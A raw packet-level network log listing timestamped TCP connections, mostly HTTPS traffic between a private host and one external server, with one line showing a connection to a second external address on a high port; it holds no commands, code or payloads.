Jan 14, 2022 09:25:51.643768072 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643805981 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643838882 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643852949 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.643870115 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.643915892 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.644068956 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.644105911 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.644148111 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.644161940 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.644177914 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.644239902 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.664323092 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.664365053 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.664450884 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.664495945 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.664518118 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.664551973 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.664565086 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.664589882 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.664616108 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.664635897 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.664659977 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.664669991 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.664690018 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.664726019 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.667309999 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667365074 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667402983 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.667418003 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667435884 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.667469025 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.667560101 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667598009 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667644978 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.667660952 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667682886 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.667716026 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.667726994 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667751074 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667778015 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667795897 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.667843103 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.667857885 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667912006 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.667932987 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.667969942 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668014050 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668029070 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668052912 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668088913 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668109894 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668144941 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668193102 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668206930 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668224096 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668265104 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668356895 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668407917 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668454885 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668468952 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668493986 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668524027 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668556929 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668593884 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668632984 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668647051 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668682098 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668699980 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668833971 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668869972 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668906927 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668925047 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.668941975 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.668986082 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669018030 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669051886 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669054031 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669102907 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669122934 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669137001 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669178009 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669255018 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669259071 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669301033 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669337034 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669352055 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669369936 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669404030 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669514894 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669533968 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669570923 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669625998 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669641018 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669663906 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669756889 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669780970 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669792891 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669811964 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.669836998 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669863939 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.669959068 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.670043945 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670094013 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670121908 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.670135975 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670188904 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.670291901 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670326948 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670386076 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.670398951 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670429945 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.670492887 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670527935 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670571089 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.670586109 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670603991 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.670672894 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.670731068 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670767069 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670815945 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.670835972 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.670850039 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.670974970 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671009064 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671082020 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.671097994 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671111107 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.671156883 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.671240091 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671274900 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671315908 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.671331882 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671353102 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.671464920 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671499968 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671540976 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.671555996 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671572924 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.671624899 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.671693087 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671729088 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671777964 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.671793938 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671828985 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.671931982 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.671977997 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.672024012 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.672044992 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.672059059 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.672219038 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.672255039 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.672287941 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.672307014 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.672323942 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.672405005 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.672437906 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.672471046 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.672488928 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.672502995 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.672508955 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.672815084 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.674855947 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.687891006 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.687948942 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.688051939 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.688091993 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.688113928 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.688133955 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.688173056 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.688220024 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.688237906 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.688266039 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.688266993 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.688308001 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.688342094 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.688357115 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.688376904 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.690304041 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.690345049 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.690383911 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.690398932 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.690414906 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.690501928 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.690536022 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.690577984 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.690594912 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.690649033 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.695724964 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.695775032 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.695887089 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.695928097 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.695952892 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.695965052 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696008921 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696034908 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.696053982 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696070910 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.696154118 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696188927 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696237087 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.696249962 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696264982 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.696513891 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696548939 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696602106 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.696619034 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696657896 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.696780920 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696816921 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696871996 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.696891069 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.696913004 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.696985006 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697021961 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697052956 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.697067976 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697087049 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.697267056 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697303057 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697334051 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.697349072 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697365046 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.697401047 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.697514057 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697561979 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697604895 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.697619915 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697644949 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.697768927 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697805882 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697854042 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.697870016 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.697915077 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.698033094 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698067904 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698113918 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.698134899 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698148012 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.698326111 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698363066 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698398113 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.698412895 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698432922 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.698438883 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.698528051 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698561907 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698601007 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.698620081 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698635101 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.698803902 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698837996 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698875904 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.698889017 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.698905945 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.699022055 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699058056 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699093103 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.699112892 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699126005 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.699131012 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.699318886 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699354887 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699393988 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.699409008 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699425936 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.699567080 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699601889 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699641943 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.699661970 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699673891 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.699845076 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699879885 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699918032 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.699937105 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.699951887 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.700083971 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700119019 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700162888 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.700176001 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700191975 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.700273037 CET	49882	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 09:25:51.700293064 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700330973 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700359106 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.700380087 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700392962 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.700398922 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.700579882 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700613976 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700654030 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.700669050 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700685978 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.700763941 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700799942 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700813055 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.700830936 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.700845957 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.700855017 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.701034069 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701069117 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701107025 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.701124907 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701138020 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.701143026 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.701282024 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701329947 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701370001 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.701387882 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701401949 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.701488018 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701524973 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701580048 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.701596975 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701612949 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.701755047 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701791048 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701821089 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.701837063 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.701867104 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.702012062 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.702020884 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.702037096 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.702142954 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.702146053 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.702177048 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.702217102 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.709096909 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.718929052 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.737946987 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.738003969 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.738114119 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.738123894 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.738137960 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.738147020 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.738174915 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.738194942 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.738226891 CET	49881	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:51.738245964 CET	443	49881	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:51.738270998 CET	49881	443	192.168.2.4	144.76.136.153
